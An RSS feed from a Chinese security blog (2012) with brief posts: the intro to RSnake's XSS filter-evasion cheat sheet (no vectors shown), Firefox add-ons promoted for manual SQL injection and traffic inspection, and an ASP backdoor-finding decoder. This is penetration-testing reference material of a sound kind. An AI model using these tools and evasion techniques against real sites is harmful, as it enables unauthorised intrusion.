<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom"><title type="text">博客园_云和山的彼端</title><subtitle type="text">江南好, 风景旧曾谙。日出江花红胜火，春来江水绿如蓝，能不忆江南。</subtitle><id>http://feed.cnblogs.com/blog/u/13292/rss</id><updated>2012-05-21T13:39:53Z</updated><author><name>jecray</name><uri>http://www.cnblogs.com/jecray/</uri></author><generator>feed.cnblogs.com</generator><link rel="alternate" type="text/html" href="http://www.cnblogs.com/jecray/"/><link rel="self" type="application/atom+xml" href="http://feed.cnblogs.com/blog/u/13292/rss"/><entry><id>http://www.cnblogs.com/jecray/archive/2012/05/20/2510882.html</id><title type="text">XSS (Cross Site Scripting) Cheat Sheet</title><summary type="text">XSS (Cross Site Scripting) Cheat SheetEsp: for filter evasionByRSnakeNote from the author: XSS is Cross Site Scripting. If you don't know how XSS (Cross Site Scripting) works, this page probably won't help you. This page is for people who already understand the basics of XSS attacks but want</summary><published>2012-05-20T13:51:00Z</published><updated>2012-05-20T13:51:00Z</updated><author><name>jecray</name><uri>http://www.cnblogs.com/jecray/</uri></author><link rel="alternate" href="http://www.cnblogs.com/jecray/archive/2012/05/20/2510882.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/jecray/archive/2012/05/20/2510882.html"/><content type="html">&lt;p&gt;&lt;strong&gt;&lt;center style="font-family: Tahoma, Verdana, Arial, Helvetica, sans-serif; font-size: 12px; font-weight: normal; line-height: normal; "&gt;&lt;p&gt;&lt;strong&gt;XSS (Cross Site Scripting) Cheat Sheet&lt;br /&gt;Esp: for filter evasion&lt;/strong&gt;&lt;/p&gt;&lt;/center&gt;&lt;br style="font-family: Tahoma, Verdana, Arial, Helvetica, sans-serif; font-size: 12px; font-weight: normal; line-height: normal; " /&gt;&lt;span style="font-family: Tahoma, Verdana, Arial, Helvetica, sans-serif; font-size: 12px; font-weight: normal; line-height: normal; background-color: #ffffff; "&gt;By&amp;nbsp;&lt;/span&gt;&lt;a href="&amp;#109;&amp;#97;&amp;#105;&amp;#108;&amp;#116;&amp;#111;&amp;#58;&amp;#104;&amp;#64;&amp;#99;&amp;#107;&amp;#101;&amp;#114;&amp;#115;&amp;#46;&amp;#111;&amp;#114;&amp;#103;&amp;#63;&amp;#115;&amp;#117;&amp;#98;&amp;#106;&amp;#101;&amp;#99;&amp;#116;&amp;#61;&amp;#126;&amp;#114;&amp;#115;&amp;#110;&amp;#97;&amp;#107;&amp;#101;&amp;#47;&amp;#120;&amp;#115;&amp;#115;&amp;#46;&amp;#104;&amp;#116;&amp;#109;&amp;#108;" style="color: #000000; font-family: Tahoma, Verdana, Arial, Helvetica, sans-serif; font-size: 12px; font-weight: normal; line-height: normal; "&gt;RSnake&lt;/a&gt;&lt;br style="font-family: Tahoma, Verdana, Arial, Helvetica, sans-serif; font-size: 12px; font-weight: normal; line-height: normal; " /&gt;&lt;br style="font-family: Tahoma, Verdana, Arial, Helvetica, sans-serif; font-size: 12px; font-weight: normal; line-height: normal; " /&gt;&lt;span style="font-family: Tahoma, Verdana, Arial, Helvetica, sans-serif; font-size: 12px; font-weight: normal; line-height: normal; background-color: #ffffff; "&gt;Note from the author: XSS is Cross Site Scripting. If you don't know how XSS (Cross Site Scripting) works, this page probably won't help you. This page is for people who already understand the basics of XSS attacks but want a deep understanding of the nuances regarding filter evasion. This page will also not show you how to mitigate XSS vectors or how to write the actual cookie/credential stealing/replay/session riding portion of the attack. It will simply show the underlying methodology and you can infer the rest. Also, please note my XSS page has been replicated by the&amp;nbsp;&lt;/span&gt;&lt;a href="http://www.owasp.org/" style="color: #000000; font-family: Tahoma, Verdana, Arial, Helvetica, sans-serif; font-size: 12px; font-weight: normal; line-height: normal; "&gt;OWASP 2.0 Guide&lt;/a&gt;&lt;span style="font-family: Tahoma, Verdana, Arial, Helvetica, sans-serif; font-size: 12px; font-weight: normal; line-height: normal; background-color: #ffffff; "&gt;&amp;nbsp;in the Appendix section with my permission. However, because this is a living document I suggest you continue to use this site to stay up to date.&amp;nbsp;&lt;/span&gt;&lt;br style="font-family: Tahoma, Verdana, Arial, Helvetica, sans-serif; font-size: 12px; font-weight: normal; line-height: normal; " /&gt;&lt;br style="font-family: Tahoma, Verdana, Arial, Helvetica, sans-serif; font-size: 12px; font-weight: normal; line-height: normal; " /&gt;&lt;span style="font-family: Tahoma, Verdana, Arial, Helvetica, sans-serif; font-size: 12px; font-weight: normal; line-height: normal; background-color: #ffffff; "&gt;Also, please note that most of these cross site scripting vectors have been tested in the browsers listed at the bottom of the page, however, if you have specific concerns about outdated or obscure versions please download them from&amp;nbsp;&lt;/span&gt;&lt;a href="http://browsers.evolt.org/" style="color: #000000; font-family: Tahoma, Verdana, Arial, Helvetica, sans-serif; font-size: 12px; font-weight: normal; line-height: normal; "&gt;Evolt&lt;/a&gt;&lt;span style="font-family: Tahoma, Verdana, Arial, Helvetica, sans-serif; font-size: 12px; font-weight: normal; line-height: normal; background-color: #ffffff; "&gt;. Please see the&amp;nbsp;&lt;/span&gt;&lt;a href="http://ha.ckers.org/xssAttacks.xml" style="color: #000000; font-family: Tahoma, Verdana, Arial, Helvetica, sans-serif; font-size: 12px; font-weight: normal; line-height: normal; "&gt;XML format of the XSS Cheat Sheet&lt;/a&gt;&lt;span style="font-family: Tahoma, Verdana, Arial, Helvetica, sans-serif; font-size: 12px; font-weight: normal; line-height: normal; background-color: #ffffff; "&gt;&amp;nbsp;if you intend to use&amp;nbsp;&lt;/span&gt;&lt;a href="http://www.owasp.org/index.php/Category:OWASP_CAL9000_Project" style="color: #000000; font-family: Tahoma, Verdana, Arial, Helvetica, sans-serif; font-size: 12px; font-weight: normal; line-height: normal; "&gt;CAL9000&lt;/a&gt;&lt;span style="font-family: Tahoma, Verdana, Arial, Helvetica, sans-serif; font-size: 12px; font-weight: normal; line-height: normal; background-color: #ffffff; "&gt;&amp;nbsp;or other automated tools. If you have an RSS reader feel free to subscribe to the Web Application Security RSS feed below, or join the&amp;nbsp;&lt;/span&gt;&lt;a href="http://sla.ckers.org/forum/" style="color: #000000; font-family: Tahoma, Verdana, Arial, Helvetica, sans-serif; font-size: 12px; font-weight: normal; line-height: normal; "&gt;forum&lt;/a&gt;&lt;span style="font-family: Tahoma, Verdana, Arial, Helvetica, sans-serif; font-size: 12px; font-weight: normal; line-height: normal; background-color: #ffffff; "&gt;:&lt;/span&gt;&lt;br style="font-family: Tahoma, Verdana, Arial, Helvetica, sans-serif; font-size: 12px; font-weight: normal; line-height: normal; " /&gt;&lt;br style="font-family: Tahoma, Verdana, Arial, Helvetica, sans-serif; font-size: 12px; font-weight: normal; line-height: normal; " /&gt;&lt;div align="CENTER" style="font-family: Tahoma, Verdana, Arial, Helvetica, sans-serif; font-size: 12px; font-weight: normal; line-height: normal; "&gt;&lt;a href="http://ha.ckers.org/blog/feed/" style="color: #000000; "&gt;&lt;img src="http://ha.ckers.org/images/xml.gif" border="0" alt="Web Application Security RSS feed" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br style="font-family: Tahoma, Verdana, Arial, Helvetica, sans-serif; font-size: 12px; font-weight: normal; line-height: normal; " /&gt;&lt;br style="font-family: Tahoma, Verdana, Arial, Helvetica, sans-serif; font-size: 12px; font-weight: normal; line-height: normal; " /&gt;&lt;span style="font-family: Tahoma, Verdana, Arial, Helvetica, sans-serif; font-size: 12px; font-weight: normal; line-height: normal; "&gt;Browser support reference table:&lt;/span&gt;&lt;br /&gt;&lt;div align="CENTER" style="font-family: Tahoma, Verdana, Arial, Helvetica, sans-serif; font-size: 12px; font-weight: normal; line-height: normal; "&gt;&lt;br /&gt;&lt;table border="1" width="400"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="background-color: #ffffff; font-size: 11px; "&gt;IE7.0&lt;/td&gt;&lt;td style="background-color: #ffffff; font-size: 11px; "&gt;&lt;/td&gt;&lt;td style="background-color: #ffffff; font-size: 11px; "&gt;Vector works in Internet Explorer 7.0. Most recently tested with Internet Explorer 7.0.5700.6 RC1, Windows XP Professional SP2.&lt;/td&gt;&lt;td style="background-color: #ffffff; font-size: 11px; "&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style="background-color: #ffffff; font-size: 11px; "&gt;IE6.0&lt;/td&gt;&lt;td style="background-color: #ffffff; font-size: 11px; "&gt;&lt;/td&gt;&lt;td style="background-color: #ffffff; font-size: 11px; "&gt;Vector works in Internet Explorer. Most recently tested with Internet Explorer 6.0.28.1.1106CO, SP2 on Windows 2000.&lt;/td&gt;&lt;td style="background-color: #ffffff; font-size: 11px; "&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style="background-color: #ffffff; font-size: 11px; "&gt;NS8.1-IE&lt;/td&gt;&lt;td style="background-color: #ffffff; font-size: 11px; "&gt;&lt;/td&gt;&lt;td style="background-color: #ffffff; font-size: 11px; "&gt;Vector works in Netscape 8.1+ in IE rendering engine mode. Most recently tested with Netscape 8.1 on Windows XP Professional. This used to be called trusted mode, but Netscape has changed it's security model away from the trusted/untrusted model and has opted towards Gecko as a default and IE as an option.&lt;/td&gt;&lt;td style="background-color: #ffffff; font-size: 11px; "&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style="background-color: #ffffff; font-size: 11px; "&gt;NS8.1-G&lt;/td&gt;&lt;td style="background-color: #ffffff; font-size: 11px; "&gt;&lt;/td&gt;&lt;td style="background-color: #ffffff; font-size: 11px; "&gt;Vector works in Netscape 8.1+ in the Gecko rendering engine mode. Most recently tested with Netscape 8.1 on Windows XP Professional&lt;/td&gt;&lt;td style="background-color: #ffffff; font-size: 11px; "&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style="background-color: #ffffff; font-size: 11px; "&gt;FF2.0&lt;/td&gt;&lt;td style="background-color: #ffffff; font-size: 11px; "&gt;&lt;/td&gt;&lt;td style="background-color: #ffffff; font-size: 11px; "&gt;Vector works in Mozilla's Gecko rendering engine, used by Firefox. Most recently tested with Firefox 2.0.0.2 on Windows XP Professional.&lt;/td&gt;&lt;td style="background-color: #ffffff; font-size: 11px; "&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style="background-color: #ffffff; font-size: 11px; "&gt;O9.02&lt;/td&gt;&lt;td style="background-color: #ffffff; font-size: 11px; "&gt;&lt;/td&gt;&lt;td style="background-color: #ffffff; font-size: 11px; "&gt;Vector works in Opera. Most recently tested with Opera 9.02, Build 8586 on Windows XP Professional&lt;/td&gt;&lt;td style="background-color: #ffffff; font-size: 11px; "&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style="background-color: #ffffff; font-size: 11px; "&gt;NS4&lt;/td&gt;&lt;td style="background-color: #ffffff; font-size: 11px; "&gt;&lt;/td&gt;&lt;td style="background-color: #ffffff; font-size: 11px; "&gt;Vector works in older versions of Netscape 4.0 - untested.&lt;/td&gt;&lt;td style="background-color: #ffffff; font-size: 11px; "&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;Note: if a vector is not marked it either does not work or it is untested.&lt;/div&gt;&lt;a href="http://ha.ckers.org/xss.html"&gt;http://ha.ckers.org/xss.html&lt;/a&gt;&amp;nbsp;&lt;br /&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;/strong&gt;&lt;/p&gt;&lt;img src="http://www.cnblogs.com/jecray/aggbug/2510882.html?type=1" width="1" height="1" alt=""/&gt;&lt;p&gt;&lt;a href="http://www.cnblogs.com/jecray/archive/2012/05/20/2510882.html" target="_blank"&gt;本文链接&lt;/a&gt;&lt;/p&gt;</content></entry><entry><id>http://www.cnblogs.com/jecray/archive/2012/05/20/2510821.html</id><title type="text">渗透测试结构图</title><summary type="text"/><published>2012-05-20T13:07:00Z</published><updated>2012-05-20T13:07:00Z</updated><author><name>jecray</name><uri>http://www.cnblogs.com/jecray/</uri></author><link rel="alternate" href="http://www.cnblogs.com/jecray/archive/2012/05/20/2510821.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/jecray/archive/2012/05/20/2510821.html"/><content type="html">&lt;img src="http://images.cnblogs.com/cnblogs_com/jecray/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%E7%BB%93%E6%9E%84%E5%9B%BE.JPG" width="1245" height="863" alt="" /&gt;&lt;img src="http://www.cnblogs.com/jecray/aggbug/2510821.html?type=1" width="1" height="1" alt=""/&gt;&lt;p&gt;&lt;a href="http://www.cnblogs.com/jecray/archive/2012/05/20/2510821.html" target="_blank"&gt;本文链接&lt;/a&gt;&lt;/p&gt;</content></entry><entry><id>http://www.cnblogs.com/jecray/archive/2012/05/19/2509082.html</id><title type="text">[转] 推荐几个强大的火狐游览器安全方面的插件</title><summary type="text">介绍几个非常有用的火狐插件。第一个，HackBar1.5.0，手动SQL injection的好帮手安装地址：https://addons.mozilla.org/zh-cn/firefox/addon/3829/用火狐打开上面的地址，直接点击“添加到 Firefox"就行了。官方说明：Simple security audit / Penetration test tool.简单的安全审计或者渗透测试工具第二个，Firebug1.5.4，网站设计调试利器，专门找bug的好东东，也可以直接修改本地源代码之后应用，比如上传文件的本地js代码。和opera的”检查元素“一样的功能。安装地</summary><published>2012-05-19T11:07:00Z</published><updated>2012-05-19T11:07:00Z</updated><author><name>jecray</name><uri>http://www.cnblogs.com/jecray/</uri></author><link rel="alternate" href="http://www.cnblogs.com/jecray/archive/2012/05/19/2509082.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/jecray/archive/2012/05/19/2509082.html"/><content type="html">&lt;span style="color: #555555; font-family: Verdana, Arial; font-size: 12px; line-height: 18px; text-align: left; background-color: #fbfaf5; "&gt;介绍几个非常有用的火狐插件。&lt;/span&gt;&lt;br style="color: #555555; font-family: Verdana, Arial; font-size: 12px; line-height: 18px; text-align: left; background-color: #fbfaf5; " /&gt;&lt;br style="color: #555555; font-family: Verdana, Arial; font-size: 12px; line-height: 18px; text-align: left; background-color: #fbfaf5; " /&gt;&lt;span style="color: #555555; font-family: Verdana, Arial; font-size: 12px; line-height: 18px; text-align: left; background-color: #fbfaf5; "&gt;第一个，HackBar&amp;nbsp;&amp;nbsp;1.5.0，手动SQL injection的好帮手&lt;/span&gt;&lt;br style="color: #555555; font-family: Verdana, Arial; font-size: 12px; line-height: 18px; text-align: left; background-color: #fbfaf5; " /&gt;&lt;br style="color: #555555; font-family: Verdana, Arial; font-size: 12px; line-height: 18px; text-align: left; background-color: #fbfaf5; " /&gt;&lt;span style="color: #555555; font-family: Verdana, Arial; font-size: 12px; line-height: 18px; text-align: left; background-color: #fbfaf5; "&gt;安装地址：&lt;/span&gt;&lt;a href="https://addons.mozilla.org/zh-cn/firefox/addon/3829/" target="_blank" rel="external" tip="" style="color: #666666; text-decoration: none; font-family: Verdana, Arial; font-size: 12px; line-height: 18px; text-align: left; background-color: #fbfaf5; "&gt;https://addons.mozilla.org/zh-cn/firefox/addon/3829/&lt;/a&gt;&lt;br style="color: #555555; font-family: Verdana, Arial; font-size: 12px; line-height: 18px; text-align: left; background-color: #fbfaf5; " /&gt;&lt;br style="color: #555555; font-family: Verdana, Arial; font-size: 12px; line-height: 18px; text-align: left; background-color: #fbfaf5; " /&gt;&lt;span style="color: #555555; font-family: Verdana, Arial; font-size: 12px; line-height: 18px; text-align: left; background-color: #fbfaf5; "&gt;用火狐打开上面的地址，直接点击&amp;#8220;添加到 Firefox"就行了。&lt;/span&gt;&lt;br style="color: #555555; font-family: Verdana, Arial; font-size: 12px; line-height: 18px; text-align: left; background-color: #fbfaf5; " /&gt;&lt;br style="color: #555555; font-family: Verdana, Arial; font-size: 12px; line-height: 18px; text-align: left; background-color: #fbfaf5; " /&gt;&lt;span style="color: #555555; font-family: Verdana, Arial; font-size: 12px; line-height: 18px; text-align: left; background-color: #fbfaf5; "&gt;官方说明：Simple security audit / Penetration test tool.简单的安全审计或者渗透测试工具&lt;/span&gt;&lt;br style="color: #555555; font-family: Verdana, Arial; font-size: 12px; line-height: 18px; text-align: left; background-color: #fbfaf5; " /&gt;&lt;br style="color: #555555; font-family: Verdana, Arial; font-size: 12px; line-height: 18px; text-align: left; background-color: #fbfaf5; " /&gt;&lt;a href="http://www.daokers.com/attachments/month_1010/l2010101417149.jpg" rel="lightbox[roadtrip]" tip="醉里挑灯看剑 梦回吹角连营" style="color: #666666; text-decoration: none; font-family: Verdana, Arial; font-size: 12px; line-height: 18px; text-align: left; background-color: #fbfaf5; "&gt;&lt;img src="http://www.daokers.com/attachments/month_1010/l2010101417149.jpg" border="0" alt="点击放大图片" title="在新窗口打开图片" style="max-width: 100%; height: auto; cursor: pointer; " /&gt;&lt;/a&gt;&lt;br style="color: #555555; font-family: Verdana, Arial; font-size: 12px; line-height: 18px; text-align: left; background-color: #fbfaf5; " /&gt;&lt;br style="color: #555555; font-family: Verdana, Arial; font-size: 12px; line-height: 18px; text-align: left; background-color: #fbfaf5; " /&gt;&lt;span style="color: #555555; font-family: Verdana, Arial; font-size: 12px; line-height: 18px; text-align: left; background-color: #fbfaf5; "&gt;第二个，Firebug&amp;nbsp;&amp;nbsp;1.5.4，网站设计调试利器，专门找bug的好东东，也可以直接修改本地源代码之后应用，比如上传文件的本地js代码。和opera的&amp;#8221;检查元素&amp;#8220;一样的功能。&lt;/span&gt;&lt;br style="color: #555555; font-family: Verdana, Arial; font-size: 12px; line-height: 18px; text-align: left; background-color: #fbfaf5; " /&gt;&lt;br style="color: #555555; font-family: Verdana, Arial; font-size: 12px; line-height: 18px; text-align: left; background-color: #fbfaf5; " /&gt;&lt;span style="color: #555555; font-family: Verdana, Arial; font-size: 12px; line-height: 18px; text-align: left; background-color: #fbfaf5; "&gt;安装地址：&lt;/span&gt;&lt;a href="https://addons.mozilla.org/zh-cn/firefox/addon/1843/" target="_blank" rel="external" tip="" style="color: #666666; text-decoration: none; font-family: Verdana, Arial; font-size: 12px; line-height: 18px; text-align: left; background-color: #fbfaf5; "&gt;https://addons.mozilla.org/zh-cn/firefox/addon/1843/&lt;/a&gt;&lt;br style="color: #555555; font-family: Verdana, Arial; font-size: 12px; line-height: 18px; text-align: left; background-color: #fbfaf5; " /&gt;&lt;br style="color: #555555; font-family: Verdana, Arial; font-size: 12px; line-height: 18px; text-align: left; background-color: #fbfaf5; " /&gt;&lt;span style="color: #555555; font-family: Verdana, Arial; font-size: 12px; line-height: 18px; text-align: left; background-color: #fbfaf5; "&gt;官方说明：Firebug 为你的 Firefox 集成了浏览网页的同时随手可得的丰富开发工具。你可以对任何网页的 CSS、HTML 和 JavaScript 进行实时编辑、调试和监控&amp;#8230;\n\nFirebug 1.4 仅支持 Firefox 3.0 或更高版本。&lt;/span&gt;&lt;br style="color: #555555; font-family: Verdana, Arial; font-size: 12px; line-height: 18px; text-align: left; background-color: #fbfaf5; " /&gt;&lt;a href="http://www.daokers.com/attachments/month_1010/12010101417625.jpg" rel="lightbox[roadtrip]" tip="醉里挑灯看剑 梦回吹角连营" style="color: #666666; text-decoration: none; font-family: Verdana, Arial; font-size: 12px; line-height: 18px; text-align: left; background-color: #fbfaf5; "&gt;&lt;img src="http://www.daokers.com/attachments/month_1010/12010101417625.jpg" border="0" alt="点击放大图片" title="在新窗口打开图片" style="max-width: 100%; height: auto; cursor: pointer; " /&gt;&lt;/a&gt;&lt;br style="color: #555555; font-family: Verdana, Arial; font-size: 12px; line-height: 18px; text-align: left; background-color: #fbfaf5; " /&gt;&lt;br style="color: #555555; font-family: Verdana, Arial; font-size: 12px; line-height: 18px; text-align: left; background-color: #fbfaf5; " /&gt;&lt;span style="color: #555555; font-family: Verdana, Arial; font-size: 12px; line-height: 18px; text-align: left; background-color: #fbfaf5; "&gt;第三个，Live HTTP Headers&amp;nbsp;&amp;nbsp;0.16，直接post数据的好东东，是不是可以丢掉nc了？&lt;/span&gt;&lt;br style="color: #555555; font-family: Verdana, Arial; font-size: 12px; line-height: 18px; text-align: left; background-color: #fbfaf5; " /&gt;&lt;br style="color: #555555; font-family: Verdana, Arial; font-size: 12px; line-height: 18px; text-align: left; background-color: #fbfaf5; " /&gt;&lt;span style="color: #555555; font-family: Verdana, Arial; font-size: 12px; line-height: 18px; text-align: left; background-color: #fbfaf5; "&gt;安装地址：&lt;/span&gt;&lt;a href="https://addons.mozilla.org/zh-cn/firefox/addon/3829/" target="_blank" rel="external" tip="" style="color: #666666; text-decoration: none; font-family: Verdana, Arial; font-size: 12px; line-height: 18px; text-align: left; background-color: #fbfaf5; "&gt;https://addons.mozilla.org/zh-cn/firefox/addon/3829/&lt;/a&gt;&lt;br style="color: #555555; font-family: Verdana, Arial; font-size: 12px; line-height: 18px; text-align: left; background-color: #fbfaf5; " /&gt;&lt;br style="color: #555555; font-family: Verdana, Arial; font-size: 12px; line-height: 18px; text-align: left; background-color: #fbfaf5; " /&gt;&lt;span style="color: #555555; font-family: Verdana, Arial; font-size: 12px; line-height: 18px; text-align: left; background-color: #fbfaf5; "&gt;官方说明：&lt;/span&gt;&lt;br style="color: #555555; font-family: Verdana, Arial; font-size: 12px; line-height: 18px; text-align: left; background-color: #fbfaf5; " /&gt;&lt;span style="color: #555555; font-family: Verdana, Arial; font-size: 12px; line-height: 18px; text-align: left; background-color: #fbfaf5; "&gt;View HTTP headers of a page and while browsing.&amp;nbsp;&amp;nbsp;游览时查看页面的http 文件头。&lt;/span&gt;&lt;br style="color: #555555; font-family: Verdana, Arial; font-size: 12px; line-height: 18px; text-align: left; background-color: #fbfaf5; " /&gt;&lt;br style="color: #555555; font-family: Verdana, Arial; font-size: 12px; line-height: 18px; text-align: left; background-color: #fbfaf5; " /&gt;&lt;a href="http://www.daokers.com/attachments/month_1010/x20101014171327.jpg" rel="lightbox[roadtrip]" tip="醉里挑灯看剑 梦回吹角连营" style="color: #666666; text-decoration: none; font-family: Verdana, Arial; font-size: 12px; line-height: 18px; text-align: left; background-color: #fbfaf5; "&gt;&lt;img src="http://www.daokers.com/attachments/month_1010/x20101014171327.jpg" border="0" alt="点击放大图片" title="在新窗口打开图片" style="max-width: 100%; height: auto; cursor: pointer; " /&gt;&lt;/a&gt;&lt;br style="color: #555555; font-family: Verdana, Arial; font-size: 12px; line-height: 18px; text-align: left; background-color: #fbfaf5; " /&gt;&lt;br style="color: #555555; font-family: Verdana, Arial; font-size: 12px; line-height: 18px; text-align: left; background-color: #fbfaf5; " /&gt;&lt;br style="color: #555555; font-family: Verdana, Arial; font-size: 12px; line-height: 18px; text-align: left; background-color: #fbfaf5; " /&gt;&lt;span style="color: #555555; font-family: Verdana, Arial; font-size: 12px; line-height: 18px; text-align: left; background-color: #fbfaf5; "&gt;第四个，HttpFox&amp;nbsp;&amp;nbsp;0.8.8，http抓包的插件，是不是可以丢掉WSockExpert了？&lt;/span&gt;&lt;br style="color: #555555; font-family: Verdana, Arial; font-size: 12px; line-height: 18px; text-align: left; background-color: #fbfaf5; " /&gt;&lt;br style="color: #555555; font-family: Verdana, Arial; font-size: 12px; line-height: 18px; text-align: left; background-color: #fbfaf5; " /&gt;&lt;span style="color: #555555; font-family: Verdana, Arial; font-size: 12px; line-height: 18px; text-align: left; background-color: #fbfaf5; "&gt;安装地址：&lt;/span&gt;&lt;a href="https://addons.mozilla.org/zh-CN/firefox/addon/6647/" target="_blank" rel="external" tip="" style="color: #666666; text-decoration: none; font-family: Verdana, Arial; font-size: 12px; line-height: 18px; text-align: left; background-color: #fbfaf5; "&gt;https://addons.mozilla.org/zh-CN/firefox/addon/6647/&lt;/a&gt;&lt;br style="color: #555555; font-family: Verdana, Arial; font-size: 12px; line-height: 18px; text-align: left; background-color: #fbfaf5; " /&gt;&lt;br style="color: #555555; font-family: Verdana, Arial; font-size: 12px; line-height: 18px; text-align: left; background-color: #fbfaf5; " /&gt;&lt;span style="color: #555555; font-family: Verdana, Arial; font-size: 12px; line-height: 18px; text-align: left; background-color: #fbfaf5; "&gt;官方说明：An HTTP analyzer addon for Firefox&amp;nbsp;&amp;nbsp; 一个http分析工具。&lt;/span&gt;&lt;br style="color: #555555; font-family: Verdana, Arial; font-size: 12px; line-height: 18px; text-align: left; background-color: #fbfaf5; " /&gt;&lt;br style="color: #555555; font-family: Verdana, Arial; font-size: 12px; line-height: 18px; text-align: left; background-color: #fbfaf5; " /&gt;&lt;a href="http://www.daokers.com/attachments/month_1010/92010101417178.jpg" rel="lightbox[roadtrip]" tip="醉里挑灯看剑 梦回吹角连营" style="color: #666666; text-decoration: none; font-family: Verdana, Arial; font-size: 12px; line-height: 18px; text-align: left; background-color: #fbfaf5; "&gt;&lt;img src="http://www.daokers.com/attachments/month_1010/92010101417178.jpg" border="0" alt="点击放大图片" title="在新窗口打开图片" style="max-width: 100%; height: auto; cursor: pointer; " /&gt;&lt;/a&gt;&lt;br style="color: #555555; font-family: Verdana, Arial; font-size: 12px; line-height: 18px; text-align: left; background-color: #fbfaf5; " /&gt;&lt;br style="color: #555555; font-family: Verdana, Arial; font-size: 12px; line-height: 18px; text-align: left; background-color: #fbfaf5; " /&gt;&lt;br style="color: #555555; font-family: Verdana, Arial; font-size: 12px; line-height: 18px; text-align: left; background-color: #fbfaf5; " /&gt;&lt;span style="color: #555555; font-family: Verdana, Arial; font-size: 12px; line-height: 18px; text-align: left; background-color: #fbfaf5; "&gt;还犹豫什么，喜欢XX的就拥抱火狐吧。&lt;/span&gt;&lt;br style="color: #555555; font-family: Verdana, Arial; font-size: 12px; line-height: 18px; text-align: left; background-color: #fbfaf5; " /&gt;&lt;br style="color: #555555; font-family: Verdana, Arial; font-size: 12px; line-height: 18px; text-align: left; background-color: #fbfaf5; " /&gt;&lt;br style="color: #555555; font-family: Verdana, Arial; font-size: 12px; line-height: 18px; text-align: left; background-color: #fbfaf5; " /&gt;&lt;div style="text-align: left;"&gt;&lt;font color="#555555" face="Verdana, Arial"&gt;&lt;span style="font-size: 12px; line-height: 18px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/font&gt;&lt;/div&gt;&lt;div style="color: #555555; font-family: Verdana, Arial; font-size: 12px; line-height: 18px; text-align: left; background-color: #fbfaf5; "&gt;以下说明属本文之一部分:&lt;/div&gt;&lt;div style="color: #555555; font-family: Verdana, Arial; font-size: 12px; line-height: 18px; text-align: left; background-color: #fbfaf5; "&gt;转载请保持完整并注明：转自&amp;nbsp;&lt;a href="http://www.daokers.com/" tip="" style="color: #666666; text-decoration: none; "&gt;金刀客[www.daokers.com]&lt;/a&gt;&lt;/div&gt;&lt;span style="color: #555555; font-family: Verdana, Arial; font-size: 12px; line-height: 18px; text-align: left; background-color: #fbfaf5; "&gt;本文连接:&lt;/span&gt;&lt;a href="http://www.daokers.com/article/original/615.htm" tip="" style="color: #666666; text-decoration: none; font-family: Verdana, Arial; font-size: 12px; line-height: 18px; text-align: left; background-color: #fbfaf5; "&gt;http://www.daokers.com/article/original/615.htm&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;img src="http://www.cnblogs.com/jecray/aggbug/2509082.html?type=1" width="1" height="1" alt=""/&gt;&lt;p&gt;&lt;a href="http://www.cnblogs.com/jecray/archive/2012/05/19/2509082.html" target="_blank"&gt;本文链接&lt;/a&gt;&lt;/p&gt;</content></entry><entry><id>http://www.cnblogs.com/jecray/archive/2012/05/19/2509072.html</id><title type="text">Windows Script Decoder</title><summary type="text">老外的开源程序,可以解码asp encode编码.查找asp后门什么很管用./Files/jecray/scrdec18.rar官方地址http://www.virtualconspiracy.com/content/scrdec/intro</summary><published>2012-05-19T10:43:00Z</published><updated>2012-05-19T10:43:00Z</updated><author><name>jecray</name><uri>http://www.cnblogs.com/jecray/</uri></author><link rel="alternate" href="http://www.cnblogs.com/jecray/archive/2012/05/19/2509072.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/jecray/archive/2012/05/19/2509072.html"/><content type="html">&lt;p&gt;老外的开源程序,可以解码asp encode编码.查找asp后门什么很管用.&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;a href="http://files.cnblogs.com/jecray/scrdec18.rar"&gt;/Files/jecray/scrdec18.rar&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;官方地址&amp;nbsp;&lt;/p&gt;&lt;a href="http://www.virtualconspiracy.com/content/scrdec/intro"&gt;http://www.virtualconspiracy.com/content/scrdec/intro&lt;/a&gt;&amp;nbsp;&lt;br /&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;img src="http://www.cnblogs.com/jecray/aggbug/2509072.html?type=1" width="1" height="1" alt=""/&gt;&lt;p&gt;&lt;a href="http://www.cnblogs.com/jecray/archive/2012/05/19/2509072.html" target="_blank"&gt;本文链接&lt;/a&gt;&lt;/p&gt;</content></entry><entry><id>http://www.cnblogs.com/jecray/archive/2012/05/07/2489373.html</id><title type="text">为NBArticle更换文本编辑器</title><summary type="text">各种原因,弄了很久.最后选定了FCKeditor_2.6.7其他编辑器都存在问题,比如不能上传文件,ewebEditor浏览器支持很差.使用最新的CKeditor没调试成功.NBArticle使用的模板替换技术,需要对调用的函数进行修改.Case1'FCKEditorDimsBasePathsBasePath=SystemFolder&amp;"editor/fck_editor/"DimoFCKeditorSetoFCKeditor=NewFCKeditoroFCKeditor.BasePath=sBasePathoFCKeditor.Width=iWindowW</summary><published>2012-05-07T15:41:00Z</published><updated>2012-05-07T15:41:00Z</updated><author><name>jecray</name><uri>http://www.cnblogs.com/jecray/</uri></author><link rel="alternate" href="http://www.cnblogs.com/jecray/archive/2012/05/07/2489373.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/jecray/archive/2012/05/07/2489373.html"/><content 